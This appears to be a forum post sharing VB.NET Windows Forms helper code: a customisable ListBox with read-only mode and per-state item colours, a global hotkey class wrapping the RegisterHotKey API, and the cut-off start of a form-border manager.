' ReadOnly_Enabled_Cursor
' ReadOnly_Disabled_Cursor
' State_Enabled_ItemSelected_BackColor
' State_Enabled_ItemSelected_ForeColor
' State_Enabled_ItemUnselected_BackColor
' State_Enabled_ItemUnselected_ForeColor
' State_Disabled_ItemSelected_BackColor
' State_Disabled_ItemSelected_ForeColor
' State_Disabled_ItemUnselected_BackColor
' State_Disabled_ItemUnselected_ForeColor
' State_ReadOnly_ItemSelected_BackColor
' State_ReadOnly_ItemSelected_ForeColor
' State_ReadOnly_ItemUnselected_BackColor
' State_ReadOnly_ItemUnselected_ForeColor
'
' --------
' Methods:
' --------
'
' HasDuplicatedItems
' RemoveDuplicatedItems
' SetSelected_WithoutJump
' MoveItem
'
' -------
' Events:
' -------
'
' ReadOnlyChanged
Public Class ElektroListBox : Inherits ListBox
#Region " Members "
#Region " Variables "
''' <summary>
''' Indicates the BackColor to paint the selected ListBox items when the ListBox is enabled.
''' </summary>
Private _State_Enabled_ItemSelected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
''' <summary>
''' Indicates the ForeColor to paint the selected ListBox items when the ListBox is enabled.
''' </summary>
Private _State_Enabled_ItemSelected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
''' <summary>
''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is enabled.
''' </summary>
Private _State_Enabled_ItemUnselected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
''' <summary>
''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is enabled.
''' </summary>
Private _State_Enabled_ItemUnselected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
''' <summary>
''' Indicates the BackColor to paint the selected ListBox items when the ListBox is disabled.
''' </summary>
Private _State_Disabled_ItemSelected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
''' <summary>
''' Indicates the Forecolor to paint the selected ListBox items when the ListBox is disabled.
''' </summary>
Private _State_Disabled_ItemSelected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
''' <summary>
''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is disabled.
''' </summary>
Private _State_Disabled_ItemUnselected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
''' <summary>
''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is disabled.
''' </summary>
Private _State_Disabled_ItemUnselected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
''' <summary>
''' Indicates the BackColor to paint the selected ListBox items when the ListBox is ReadOnly.
''' </summary>
Private _State_ReadOnly_ItemSelected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
''' <summary>
''' Indicates the Forecolor to paint the selected ListBox items when the ListBox is ReadOnly.
''' </summary>
Private _State_ReadOnly_ItemSelected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
''' <summary>
''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is ReadOnly.
''' </summary>
Private _State_ReadOnly_ItemUnselected_BackColor As SolidBrush = New SolidBrush(ListBox.DefaultBackColor)
''' <summary>
''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is ReadOnly.
''' </summary>
Private _State_ReadOnly_ItemUnselected_ForeColor As SolidBrush = New SolidBrush(ListBox.DefaultForeColor)
''' <summary>
''' Stores a value indicating whether the Listbox is in ReadOnly mode.
''' </summary>
Private _ReadOnly As Boolean = False
''' <summary>
''' Stores the Cursor to use when the ListBox enters to ReadOnly mode.
''' </summary>
Private _ReadOnly_Enabled_Cursor As Cursor = Cursors.No
''' <summary>
''' Stores the Cursor to use when the ListBox exits from ReadOnly mode.
''' </summary>
Private _ReadOnly_Disabled_Cursor As Cursor = Cursors.Default
#End Region
#Region " Properties "
''' <summary>
''' Indicates the BackColor to paint the selected ListBox items when the ListBox is enabled.
''' </summary>
Public Property State_Enabled_ItemSelected_BackColor As Color
Get
Return _State_Enabled_ItemSelected_BackColor.Color
End Get
Set(value As Color)
If Not _State_Enabled_ItemSelected_BackColor.Color = value Then
_State_Enabled_ItemSelected_BackColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Indicates the ForeColor to paint the selected ListBox items when the ListBox is enabled.
''' </summary>
Public Property State_Enabled_ItemSelected_ForeColor As Color
Get
Return _State_Enabled_ItemSelected_ForeColor.Color
End Get
Set(value As Color)
If Not _State_Enabled_ItemSelected_ForeColor.Color = value Then
_State_Enabled_ItemSelected_ForeColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is enabled.
''' </summary>
Public Property State_Enabled_ItemUnselected_BackColor As Color
Get
Return _State_Enabled_ItemUnselected_BackColor.Color
End Get
Set(value As Color)
If Not _State_Enabled_ItemUnselected_BackColor.Color = value Then
_State_Enabled_ItemUnselected_BackColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is enabled.
''' </summary>
Public Property State_Enabled_ItemUnselected_ForeColor As Color
Get
Return _State_Enabled_ItemUnselected_ForeColor.Color
End Get
Set(value As Color)
If Not _State_Enabled_ItemUnselected_ForeColor.Color = value Then
_State_Enabled_ItemUnselected_ForeColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Indicates the BackColor to paint the selected ListBox items when the ListBox is disabled.
''' </summary>
Public Property State_Disabled_ItemSelected_BackColor As Color
Get
Return _State_Disabled_ItemSelected_BackColor.Color
End Get
Set(value As Color)
If Not _State_Disabled_ItemSelected_BackColor.Color = value Then
_State_Disabled_ItemSelected_BackColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Indicates the Forecolor to paint the selected ListBox items when the ListBox is disabled.
''' </summary>
Public Property State_Disabled_ItemSelected_ForeColor As Color
Get
Return _State_Disabled_ItemSelected_ForeColor.Color
End Get
Set(value As Color)
If Not _State_Disabled_ItemSelected_ForeColor.Color = value Then
_State_Disabled_ItemSelected_ForeColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is disabled.
''' </summary>
Public Property State_Disabled_ItemUnselected_BackColor As Color
Get
Return _State_Disabled_ItemUnselected_BackColor.Color
End Get
Set(value As Color)
If Not _State_Disabled_ItemUnselected_BackColor.Color = value Then
_State_Disabled_ItemUnselected_BackColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is disabled.
''' </summary>
Public Property State_Disabled_ItemUnselected_ForeColor As Color
Get
Return _State_Disabled_ItemUnselected_ForeColor.Color
End Get
Set(value As Color)
If Not _State_Disabled_ItemUnselected_ForeColor.Color = value Then
_State_Disabled_ItemUnselected_ForeColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Indicates the BackColor to paint the selected ListBox items when the ListBox is ReadOnly.
''' </summary>
Public Property State_ReadOnly_ItemSelected_BackColor As Color
Get
Return _State_ReadOnly_ItemSelected_BackColor.Color
End Get
Set(value As Color)
If Not _State_ReadOnly_ItemSelected_BackColor.Color = value Then
_State_ReadOnly_ItemSelected_BackColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Indicates the Forecolor to paint the selected ListBox items when the ListBox is ReadOnly.
''' </summary>
Public Property State_ReadOnly_ItemSelected_ForeColor As Color
Get
Return _State_ReadOnly_ItemSelected_ForeColor.Color
End Get
Set(value As Color)
If Not _State_ReadOnly_ItemSelected_ForeColor.Color = value Then
_State_ReadOnly_ItemSelected_ForeColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Indicates the BackColor to paint the unselected ListBox items when the ListBox is ReadOnly.
''' </summary>
Public Property State_ReadOnly_ItemUnselected_BackColor As Color
Get
Return _State_ReadOnly_ItemUnselected_BackColor.Color
End Get
Set(value As Color)
If Not _State_ReadOnly_ItemUnselected_BackColor.Color = value Then
_State_ReadOnly_ItemUnselected_BackColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Indicates the Forecolor to paint the unselected ListBox items when the ListBox is ReadOnly.
''' </summary>
Public Property State_ReadOnly_ItemUnselected_ForeColor As Color
Get
Return _State_ReadOnly_ItemUnselected_ForeColor.Color
End Get
Set(value As Color)
If Not _State_ReadOnly_ItemUnselected_ForeColor.Color = value Then
_State_ReadOnly_ItemUnselected_ForeColor = New SolidBrush(value)
Me.Invalidate(False)
End If
End Set
End Property
''' <summary>
''' Gets or sets a value indicating whether the Listbox is in ReadOnly mode.
''' </summary>
Public Property [ReadOnly]() As Boolean
Get
Return _ReadOnly
End Get
Set(value As Boolean)
If Not _ReadOnly = value Then
_ReadOnly = value
RaiseEvent ReadOnlyChanged(Me, New ReadOnlyChangedEventArgs With
{.IsReadOnly = value})
End If
End Set
End Property
''' <summary>
''' Gets or sets the Cursor to use when the ListBox enters in ReadOnly mode.
''' </summary>
Public Property ReadOnly_Enabled_Cursor As Cursor
Get
Return _ReadOnly_Enabled_Cursor
End Get
Set(value As Cursor)
If Not _ReadOnly_Enabled_Cursor = value Then
_ReadOnly_Enabled_Cursor = value
DesignTimeInvalidator(False)
End If
End Set
End Property
''' <summary>
''' Gets or sets the Cursor to use when the ListBox exits from ReadOnly mode.
''' </summary>
Public Property ReadOnly_Disabled_Cursor As Cursor
Get
Return _ReadOnly_Disabled_Cursor
End Get
Set(value As Cursor)
If Not _ReadOnly_Disabled_Cursor = value Then
_ReadOnly_Disabled_Cursor = value
DesignTimeInvalidator(False)
End If
End Set
End Property
#End Region
#Region " Enumerations "
''' <summary>
''' Indicates the state of a Listbox Item.
''' </summary>
Public Enum ItemState
''' <summary>
''' Select the listbox Item.
''' </summary>
Selected = 0
''' <summary>
''' Unselect the listbox Item.
''' </summary>
Unselected = 1
End Enum
''' <summary>
''' Indicates the items to select.
''' </summary>
Public Enum ListBoxItems As Short
''' <summary>
''' Select all items of the ListBox.
''' </summary>
All = 1
''' <summary>
''' Select any ListBox items.
''' </summary>
None = 2
End Enum
''' <summary>
''' Indicates some Known Windows Message Identifiers to manage.
''' </summary>
Private Enum KnownMessages As Integer
WM_LBUTTONDOWN = &H201
WM_KEYDOWN = &H100
End Enum
#End Region
#Region " Events "
''' <summary>
''' Event raised when the ReadOnly state of the ListBox changes.
''' </summary>
Private Event ReadOnlyChanged As EventHandler(Of ReadOnlyChangedEventArgs)
Private Class ReadOnlyChangedEventArgs : Inherits EventArgs
Public Property IsReadOnly As Boolean
End Class
#End Region
#End Region
#Region " Constructor "
Public Sub New()
Me.DoubleBuffered = True
Me.DrawMode = DrawMode.OwnerDrawFixed
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Returns a value indicating whether the ListBox items contains duplicates.
''' </summary>
Public Function HasDuplicatedItems() As Boolean
Return Me.Items.Count - Me.Items.Cast(Of String).Distinct().Count
End Function
''' <summary>
''' Remove all duplicated items in ListBox.
''' </summary>
Public Sub RemoveDuplicatedItems()
If HasDuplicatedItems() Then
Dim ItemArray As IEnumerable(Of String) = Me.Items.Cast(Of String).Distinct()
Me.Items.Clear()
Me.Items.AddRange(ItemArray.ToArray)
End If
End Sub
''' <summary>
''' Selects or unselects a ListBox Item without jumping to the Item position.
''' </summary>
''' <param name="ItemIndex">Indicates the index of the Item to set.</param>
''' <param name="ItemState">Indicates the state for the item.</param>
Public Sub SetSelected_WithoutJump(ItemIndex As Integer, ItemState As ItemState)
Dim i As Integer = Me.TopIndex ' Store the selected item index.
Me.BeginUpdate() ' Disable drawing on control.
Me.SetSelected(ItemIndex, ItemState) ' Select the item.
Me.TopIndex = i ' Jump to the previous selected item.
Me.EndUpdate() ' Eenable drawing.
End Sub
''' <summary>
''' Selects or unselects ListBox Items without jumping to the Item position.
''' </summary>
''' <param name="ItemIndex">Indicates the index of the Items to set.</param>
''' <param name="ItemState">Indicates the state for the items.</param>
Public Sub SetSelected_WithoutJump(ItemIndex As Integer(), ItemState As ItemState)
Dim i As Integer = Me.TopIndex ' Store the selected item index.
Me.BeginUpdate() ' Disable drawing on control.
For Each Index As Integer In ItemIndex
Select Case ItemState
Case ItemState.Selected
Me.SetSelected(Index, True) ' Select the item.
Case ItemState.Unselected
Me.SetSelected(Index, False) ' Unselect the item.
End Select
Next Index
Me.TopIndex = i ' Jump to the previous selected item.
Me.EndUpdate() ' Eenable drawing.
End Sub
''' <summary>
''' Selects or unselects all ListBox Item without jumping to the Item position.
''' </summary>
''' <param name="ListBoxItems">Indicates the Items to set.</param>
''' <param name="ItemState">Indicates the state for the items.</param>
Public Sub SetSelected_WithoutJump(ListBoxItems As ListBoxItems, ItemState As ItemState)
Dim i As Integer = Me.TopIndex ' Store the selected item index.
Me.BeginUpdate() ' Disable drawing on control.
Select Case ItemState
Case ItemState.Selected ' Select all the items.
For Item As Integer = 0 To Me.Items.Count - 1
Me.SetSelected(Item, True)
Next Item
Case ItemState.Unselected ' Unselect all the items.
Me.SelectedItems.Clear()
End Select
Me.TopIndex = i ' Jump to the previous selected item.
Me.EndUpdate() ' Eenable drawing.
End Sub
''' <summary>
''' Moves an item to other position.
''' </summary>
''' <param name="ItemPosition">Indicates the position to move from.</param>
''' <param name="NewItemPosition">Indicates the new position for the item.</param>
Public Sub MoveItem(ByVal ItemPosition As Integer, ByVal NewItemPosition As Integer)
Dim oldItem As Object = Me.Items.Item(ItemPosition)
Dim newItem As Object = Me.Items.Item(NewItemPosition)
Me.Items.Item(ItemPosition) = newItem
Me.Items.Item(NewItemPosition) = oldItem
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Invalidates the Control to update changes at Design-Time.
''' </summary>
''' <param name="InvalidateChildren">Indicates whether to invalidate the child controls of the control.</param>
Private Sub DesignTimeInvalidator(InvalidateChildren As Boolean)
If Me.DesignMode Then
Me.Invalidate(InvalidateChildren)
End If
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' This happens when the ListBox 'ReadOnly' state has changed.
''' </summary>
Private Sub OnReadOnly() _
Handles Me.ReadOnlyChanged
Me.BeginUpdate()
If Me.ReadOnly Then
Me.Cursor = _ReadOnly_Enabled_Cursor
Else
Me.Cursor = _ReadOnly_Disabled_Cursor
End If
Me.EndUpdate()
End Sub
''' <summary>
''' Colorize the ListBox Items.
''' </summary>
Private Sub Colorize(ByVal sender As Object, ByVal e As DrawItemEventArgs) _
Handles Me.DrawItem
If Me.Items.Count <> 0 Then
If Me.Enabled AndAlso Not Me.ReadOnly Then
e.DrawBackground()
If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then
e.Graphics.FillRectangle(_State_Enabled_ItemSelected_BackColor, e.Bounds)
e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_Enabled_ItemSelected_ForeColor, e.Bounds)
ElseIf (e.State And DrawItemState.Selected) = DrawItemState.None Then
e.Graphics.FillRectangle(_State_Enabled_ItemUnselected_BackColor, e.Bounds)
e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_Enabled_ItemUnselected_ForeColor, e.Bounds)
End If
e.DrawFocusRectangle()
ElseIf Not Me.Enabled Then
e.DrawBackground()
If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then
e.Graphics.FillRectangle(_State_Disabled_ItemSelected_BackColor, e.Bounds)
e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_Disabled_ItemSelected_ForeColor, e.Bounds)
ElseIf (e.State And DrawItemState.Selected) = DrawItemState.None Then
e.Graphics.FillRectangle(_State_Disabled_ItemUnselected_BackColor, e.Bounds)
e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_Disabled_ItemUnselected_ForeColor, e.Bounds)
End If
e.DrawFocusRectangle()
ElseIf Me.ReadOnly Then
e.DrawBackground()
If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then
e.Graphics.FillRectangle(_State_ReadOnly_ItemSelected_BackColor, e.Bounds)
e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_ReadOnly_ItemSelected_ForeColor, e.Bounds)
ElseIf (e.State And DrawItemState.Selected) = DrawItemState.None Then
e.Graphics.FillRectangle(_State_ReadOnly_ItemUnselected_BackColor, e.Bounds)
e.Graphics.DrawString(Me.GetItemText(Me.Items(e.Index)), e.Font, _State_ReadOnly_ItemUnselected_ForeColor, e.Bounds)
End If
e.DrawFocusRectangle()
End If
End If
End Sub
#End Region
#Region " Windows Messages "
''' <summary>
''' Processes the Windows Messages for this window.
''' </summary>
Protected Overrides Sub WndProc(ByRef m As Message)
If Me.[ReadOnly] AndAlso (m.Msg = KnownMessages.WM_LBUTTONDOWN OrElse m.Msg = KnownMessages.WM_KEYDOWN) Then
Return ' Disable left click on the ListBox.
End If
MyBase.WndProc(m)
End Sub
#End Region
End Class
Una nueva versión actualizada de mi Helper Class para manejar hotkeys globales.
' ***********************************************************************
' Author : Elektro
' Created : 01-09-2014
' Modified : 01-11-2014
' ***********************************************************************
' <copyright file="GlobalHotkeys.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Public Class Form1
' ''' <summary>
' ''' Define the system-wide hotkey object.
' ''' </summary>
' Private WithEvents Hotkey As GlobalHotkey = Nothing
' ''' <summary>
' ''' Initializes a new instance of this class.
' ''' </summary>
' Public Sub New()
' InitializeComponent()
' ' Registers a new global hotkey on the system. (Alt + Ctrl + A)
' Hotkey = New GlobalHotkey(GlobalHotkey.KeyModifier.Alt Or GlobalHotkey.KeyModifier.Ctrl, Keys.A)
' ' Replaces the current registered hotkey with a new one. (Alt + Escape)
' Hotkey = New GlobalHotkey([Enum].Parse(GetType(GlobalHotkey.KeyModifier), "Alt", True),
' [Enum].Parse(GetType(Keys), "Escape", True))
' ' Set the tag property.
' Hotkey.Tag = "I'm an example tag"
' End Sub
' ''' <summary>
' ''' Handles the Press event of the HotKey object.
' ''' </summary>
' Private Sub HotKey_Press(ByVal sender As GlobalHotkey, ByVal e As GlobalHotkey.HotKeyEventArgs) _
' Handles Hotkey.Press
' MsgBox(e.Count) ' The times that the hotkey was pressed.
' MsgBox(e.ID) ' The unique hotkey identifier.
' MsgBox(e.Key.ToString) ' The assigned key.
' MsgBox(e.Modifier.ToString) ' The assigned key-modifier.
' MsgBox(sender.Tag) ' The hotkey tag object.
' ' Unregister the hotkey.
' Hotkey.Unregister()
' ' Register it again.
' Hotkey.Register()
' ' Is Registered?
' MsgBox(Hotkey.IsRegistered)
' End Sub
'End Class
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.Runtime.InteropServices
#End Region
#Region " Global Hotkey "
''' <summary>
''' Class to perform system-wide hotkey operations.
''' </summary>
Friend NotInheritable Class GlobalHotkey : Inherits NativeWindow : Implements IDisposable
#Region " API "
''' <summary>
''' Native API Methods.
''' </summary>
Private Class NativeMethods
''' <summary>
''' Defines a system-wide hotkey.
''' </summary>
''' <param name="hWnd">The hWND.</param>
''' <param name="id">The identifier of the hotkey.
''' If the hWnd parameter is NULL, then the hotkey is associated with the current thread rather than with a particular window.
''' If a hotkey already exists with the same hWnd and id parameters.</param>
''' <param name="fsModifiers">The keys that must be pressed in combination with the key specified by the uVirtKey parameter
''' in order to generate the WM_HOTKEY message.
''' The fsModifiers parameter can be a combination of the following values.</param>
''' <param name="vk">The virtual-key code of the hotkey.</param>
''' <returns>
''' <c>true</c> if the function succeeds, otherwise <c>false</c>
''' </returns>
<DllImport("user32.dll", SetLastError:=True)>
Public Shared Function RegisterHotKey(
ByVal hWnd As IntPtr,
ByVal id As Integer,
ByVal fsModifiers As UInteger,
ByVal vk As UInteger
) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
''' <summary>
''' Unregisters a hotkey previously registered.
''' </summary>
''' <param name="hWnd">The hWND.</param>
''' <param name="id">The identifier of the hotkey to be unregistered.</param>
''' <returns>
''' <c>true</c> if the function succeeds, otherwise <c>false</c>
''' </returns>
<DllImport("user32.dll", SetLastError:=True)>
Public Shared Function UnregisterHotKey(
ByVal hWnd As IntPtr,
ByVal id As Integer
) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
End Class
#End Region
#Region " Members "
#Region " Properties "
''' <summary>
''' Indicates the key assigned to the hotkey.
''' </summary>
Public ReadOnly Property Key As Keys
Get
Return Me.PressEventArgs.Key
End Get
End Property
''' <summary>
''' Indicates the Key-Modifier assigned to the hotkey.
''' </summary>
Public ReadOnly Property Modifier As KeyModifier
Get
Return Me.PressEventArgs.Modifier
End Get
End Property
''' <summary>
''' Indicates the unique identifier assigned to the hotkey.
''' </summary>
Public ReadOnly Property ID As Integer
Get
Return Me.PressEventArgs.ID
End Get
End Property
''' <summary>
''' Indicates user-defined data associated with this object.
''' </summary>
Public Property Tag As Object = Nothing
''' <summary>
''' Indicates how many times was pressed the hotkey.
''' </summary>
Public ReadOnly Property Count As Integer
Get
Return _Count
End Get
End Property
#End Region
#Region " Enumerations "
''' <summary>
''' Key-modifiers to assign to a hotkey.
''' </summary>
<Flags>
Public Enum KeyModifier As Integer
''' <summary>
''' Any modifier.
''' </summary>
None = &H0
''' <summary>
''' The Alt key.
''' </summary>
Alt = &H1
''' <summary>
''' The Control key.
''' </summary>
Ctrl = &H2
''' <summary>
''' The Shift key.
''' </summary>
Shift = &H4
''' <summary>
''' The Windows key.
''' </summary>
Win = &H8
End Enum
''' <summary>
''' Known Windows Message Identifiers.
''' </summary>
<Description("Messages to process in WndProc")>
Public Enum KnownMessages As Integer
''' <summary>
''' Posted when the user presses a hot key registered by the RegisterHotKey function.
''' The message is placed at the top of the message queue associated with the thread that registered the hot key.
''' <paramref name="WParam"/>
''' The identifier of the hot key that generated the message.
''' If the message was generated by a system-defined hot key.
''' <paramref name="LParam"/>
''' The low-order word specifies the keys that were to be pressed in
''' combination with the key specified by the high-order word to generate the WM_HOTKEY message.
''' </summary>
WM_HOTKEY = &H312
End Enum
#End Region
#Region " Events "
''' <summary>
''' Event that is raised when a hotkey is pressed.
''' </summary>
Public Event Press As EventHandler(Of HotKeyEventArgs)
''' <summary>
''' Event arguments for the Press event.
''' </summary>
Public Class HotKeyEventArgs : Inherits EventArgs
''' <summary>
''' Indicates the Key assigned to the hotkey.
''' </summary>
''' <value>The key.</value>
Friend Property Key As Keys
''' <summary>
''' Indicates the Key-Modifier assigned to the hotkey.
''' </summary>
''' <value>The modifier.</value>
Friend Property Modifier As KeyModifier
''' <summary>
''' Indicates the unique identifier assigned to the hotkey.
''' </summary>
''' <value>The identifier.</value>
Friend Property ID As Integer
''' <summary>
''' Indicates how many times was pressed the hotkey.
''' </summary>
Friend Property Count As Integer
End Class
#End Region
#Region " Exceptions "
''' <summary>
''' Exception that is thrown when a hotkey tries to register but is already registered.
''' </summary>
<Serializable>
Private Class IsRegisteredException : Inherits Exception
''' <summary>
''' Initializes a new instance of the <see cref="IsRegisteredException"/> class.
''' </summary>
Sub New()
MyBase.New("Unable to register. Hotkey is already registered.")
End Sub
End Class
''' <summary>
''' Exception that is thrown when a hotkey tries to unregister but is not registered.
''' </summary>
<Serializable>
Private Class IsNotRegisteredException : Inherits Exception
''' <summary>
''' Initializes a new instance of the <see cref="IsNotRegisteredException"/> class.
''' </summary>
Sub New()
MyBase.New("Unable to unregister. Hotkey is not registered.")
End Sub
End Class
#End Region
#Region " Other "
''' <summary>
''' Stores an counter indicating how many times was pressed the hotkey.
''' </summary>
Private _Count As Integer = 0
''' <summary>
''' Stores the Press Event Arguments.
''' </summary>
Protected PressEventArgs As New HotKeyEventArgs
#End Region
#End Region
#Region " Constructor "
''' <summary>
''' Creates a new system-wide hotkey.
''' </summary>
''' <param name="Modifier">
''' Indicates the key-modifier to assign to the hotkey.
''' ( Can use one or more modifiers )
''' </param>
''' <param name="Key">
''' Indicates the key to assign to the hotkey.
''' </param>
''' <exception cref="IsRegisteredException"></exception>
<DebuggerStepperBoundary()>
Public Sub New(ByVal Modifier As KeyModifier, ByVal Key As Keys)
MyBase.CreateHandle(New CreateParams)
Me.PressEventArgs.ID = MyBase.GetHashCode()
Me.PressEventArgs.Key = Key
Me.PressEventArgs.Modifier = Modifier
Me.PressEventArgs.Count = 0
If Not NativeMethods.RegisterHotKey(MyBase.Handle,
Me.ID,
Me.Modifier,
Me.Key) Then
Throw New IsRegisteredException
End If
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' Occurs when a hotkey is pressed.
''' </summary>
Private Sub OnHotkeyPress() Handles Me.Press
_Count += 1
End Sub
#End Region
#Region "Public Methods "
''' <summary>
''' Determines whether this hotkey is registered on the system.
''' </summary>
''' <returns>
''' <c>true</c> if this hotkey is registered; otherwise, <c>false</c>.
''' </returns>
Public Function IsRegistered() As Boolean
DisposedCheck()
' Try to unregister the hotkey.
Select Case NativeMethods.UnregisterHotKey(MyBase.Handle, Me.ID)
Case False ' Unregistration failed.
Return False ' Hotkey is not registered.
Case Else ' Unregistration succeeds.
Register() ' Re-Register the hotkey before return.
Return True ' Hotkey is registeres.
End Select
End Function
''' <summary>
''' Registers this hotkey on the system.
''' </summary>
''' <exception cref="IsRegisteredException"></exception>
Public Sub Register()
DisposedCheck()
If Not NativeMethods.RegisterHotKey(MyBase.Handle,
Me.ID,
Me.Modifier,
Me.Key) Then
Throw New IsRegisteredException
End If
End Sub
''' <summary>
''' Unregisters this hotkey from the system.
''' After calling this method the hotkey turns unavaliable.
''' </summary>
''' <returns>
''' <c>true</c> if unregistration succeeds, <c>false</c> otherwise.
''' </returns>
Public Function Unregister() As Boolean
DisposedCheck()
If Not NativeMethods.UnregisterHotKey(MyBase.Handle, Me.ID) Then
Throw New IsNotRegisteredException
End If
End Function
#End Region
#Region " Hidden methods "
' These methods and properties are purposely hidden from Intellisense just to look better without unneeded methods.
' NOTE: The methods can be re-enabled at any-time if needed.
''' <summary>
''' Assigns the handle.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub AssignHandle()
End Sub
''' <summary>
''' Creates the handle.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub CreateHandle()
End Sub
''' <summary>
''' Creates the object reference.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub CreateObjRef()
End Sub
''' <summary>
''' Definitions the WND proc.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DefWndProc()
End Sub
''' <summary>
''' Destroys the window and its handle.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DestroyHandle()
End Sub
''' <summary>
''' Equalses this instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Gets the hash code.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Gets the lifetime service.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetLifetimeService()
End Sub
''' <summary>
''' Initializes the lifetime service.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub InitializeLifetimeService()
End Sub
''' <summary>
''' Releases the handle associated with this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ReleaseHandle()
End Sub
''' <summary>
''' Gets the handle for this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property Handle()
#End Region
#Region " WndProc "
''' <summary>
''' Invokes the default window procedure associated with this window to process messages for this Window.
''' </summary>
''' <param name="m">
''' A <see cref="T:System.Windows.Forms.Message" /> that is associated with the current Windows message.
''' </param>
Protected Overrides Sub WndProc(ByRef m As Message)
Select Case m.Msg
Case KnownMessages.WM_HOTKEY ' A hotkey is pressed.
' Update the pressed counter.
Me.PressEventArgs.Count += 1
' Raise the Event
RaiseEvent Press(Me, Me.PressEventArgs)
Case Else
MyBase.WndProc(m)
End Select
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private IsDisposed As Boolean = False
''' <summary>
''' Prevent calls to methods after disposing.
''' </summary>
''' <exception cref="System.ObjectDisposedException"></exception>
Private Sub DisposedCheck()
If Me.IsDisposed Then
Throw New ObjectDisposedException(Me.GetType().FullName)
End If
End Sub
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' <param name="IsDisposing">
''' <c>true</c> to release both managed and unmanaged resources;
''' <c>false</c> to release only unmanaged resources.
''' </param>
Protected Sub Dispose(IsDisposing As Boolean)
If Not Me.IsDisposed Then
If IsDisposing Then
NativeMethods.UnregisterHotKey(MyBase.Handle, Me.ID)
End If
End If
Me.IsDisposed = True
End Sub
#End Region
End Class
#End Region
' ***********************************************************************
' Author : Elektro
' Created : 01-12-2014
' Modified : 01-12-2014
' ***********************************************************************
' <copyright file="FormBorderManager.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Public Class Form1
' ' Disable resizing on all border edges.
' Private FormBorders As New FormBorderManager(Me) With
' {
' .Edges = New FormBorderManager.FormEdges With
' {
' .Top = FormBorderManager.WindowHitTestRegions.TitleBar,
' .Left = FormBorderManager.WindowHitTestRegions.TitleBar,
